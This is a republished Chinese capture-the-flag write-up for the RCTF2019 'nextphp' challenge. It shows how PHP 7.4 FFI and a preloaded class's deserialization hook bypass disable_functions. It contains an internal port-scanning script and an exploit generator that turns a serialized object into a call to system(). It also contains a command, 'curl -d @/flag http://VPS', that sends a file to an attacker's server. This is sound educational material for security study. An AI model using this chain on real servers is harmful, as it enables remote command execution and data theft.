RCTF2019Web题解之nextphp

栏目: PHP · 发布时间: 5年前

内容简介:这题主要考察PHP-7.4中的两个特性(PHP is the best language!题目地址:

这题主要考察PHP-7.4中的两个特性( FFISerializable__serialize__unserialize ),通过 FFI 绕过 disable_functions 限制。

nextphp

PHP is the best language!

题目地址: http://nextphp.2019.rctf.rois.io

题目docker: https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp

index.php

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

通过前面给的 shell(index.php) ,可以通过 phpinfo 发现存在如下关键信息:

PHP Version 7.4.0-dev

内网IP:172.20.0.1

开启了FFI

opcache.preload:/var/www/html/preload.php

open_basedir:/var/www/html

disable_classes:ReflectionClass

disable_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

刚开始,想通过这个 shell 进行SSRF扫描内网,看看内网是否还有其他主机运行web,因为有可能内网中其他机器上的disable_functions限制没有这么严格。

 // 端口扫描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
    $c=@fsockopen($hosts,$i, $en,$es, $timeout);
    if(is_resource($c)){
        echo $hosts.':'.$i.' => open\n<br>';
        fclose($c);
    }
    ob_flush();
    flush();
}
# 题目内网IP:172.20.0.1

172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

发现 172.20.0.2 上有和题目一模一样的 web 环境,但是对比了他们两个的 phpinfo 信息,发现是一样的,其他端口没什么发现,遂放弃这个思路,转向 opcache.preload

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读: https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档: https://wiki.php.net/rfc/ffi 中的例子:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

先通过如下命令编译 PHP-7.4-dev

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

然后测试,发现如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。(具体原因还没细究,猜测在调用 system 函数时,先从系统默认的共享库中搜寻函数是否定义,如果定义则直接调用函数。)

RCTF2019Web题解之nextphp

这样的话,我们就可以利用 preload.php 中类 Arun 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        echo "__construct<br>";
    }
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的EXP代码中删除了原有的 __serialize__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize 函数,这一特性是在 PHP 7.4中新加入的,具体可参考: https://wiki.php.net/rfc/custom_object_serialization

然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令); ,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS 就行了。

RCTF2019Web题解之nextphp

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

赛后看了一下 FFI 的源码,发现当不设置 FFI::cdef 的第二个参数时,源码中的 libNULL ,并且 handle 被设为 RTLD_DEFAULT 。这个 RTLD_DEFAULT 定义在 dlfcn.h:47 文件中。

RCTF2019Web题解之nextphp

之后会调用 DL_FETCH_SYMBOL 函数,而这个函数就是 dlsym 函数,其定义在 zend_portability.h:157 文件中。

RCTF2019Web题解之nextphp

从文档 DLSYM函数手册 中,可以看到如下描述:

RTLD_DEFAULT

Find the first occurrence of the desired symbol using the default shared object search order. The search will include global symbols in the executable and its dependencies, as well as symbols in shared objects that were dynamically loaded with the RTLD_GLOBAL flag.

dlsym 第一个参数为 RTLD_DEFAULT 时,程序会按照默认共享库的顺序,从中搜索 system 函数第一次出现的地方并使用。搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),所以应该是这些搜索范围中存在可调用的 system 函数。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

腾讯之道

腾讯之道

艾永亮、刘官华、梁璐 / 机械工业出版社 / 2016-7-19 / 59

放眼整个中国乃至全球,腾讯都是一家成功的互联网企业,它代表中国企业在世界互联网版图中竖起了一面高高的旗帜。腾讯为何能取得如此大的成就,它的成功方法和商业逻辑是什么?你是不是和无数中国企业和商界人士一样,都想向腾讯取取经,但是又不得其门而入? 腾讯一直以低调、务实著称,所 以腾讯及其内部员工都极少对外界分享他们的经验;加之腾讯的商业模式多元、业务繁多且交叉、体量又极其庞大,使得从外部来系统研究......一起来看看 《腾讯之道》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具